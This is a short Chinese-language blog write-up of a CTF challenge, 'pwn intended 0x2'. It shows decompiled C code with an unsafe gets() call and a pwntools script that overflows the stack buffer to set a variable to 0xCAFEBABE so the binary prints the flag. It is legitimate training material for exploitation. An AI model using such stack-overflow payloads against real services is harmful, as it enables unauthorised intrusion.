【CSICTF】pwn intended 0x2 WriteUp

原创

古月浪子 于 2020-07-23 15:50:29 发布 57 收藏

文章标签： CTF

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/tqydyqt/article/details/107459908

版权

在上一题的基础上改进了一下，大体上没有多大区别

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-30h]
  int v5; // [rsp+2Ch] [rbp-4h]

  v5 = 0;
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts("Welcome to csictf! Where are you headed?");
  gets(&v4, 0LL);
  puts("Safe Journey!");
  if ( v5 == 0xCAFEBABE )
  {
    puts("You've reached your destination, here's a flag!");
    system("/bin/cat flag.txt");
  }
  return 0;
}
```

v5不再是要求不等于0了，而是要等于特定的值

```python
from pwn import *
from LibcSearcher import *
from struct import pack

context.os='linux'
context.arch='amd64'
context.log_level='debug'

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('chall.csivit.com',30007)
#io=process('./pwn-intended-0x2')
elf=ELF('./pwn-intended-0x2')

ra()
sl('a'*(0x30-4)+p32(0xCAFEBABE))

io.interactive()
```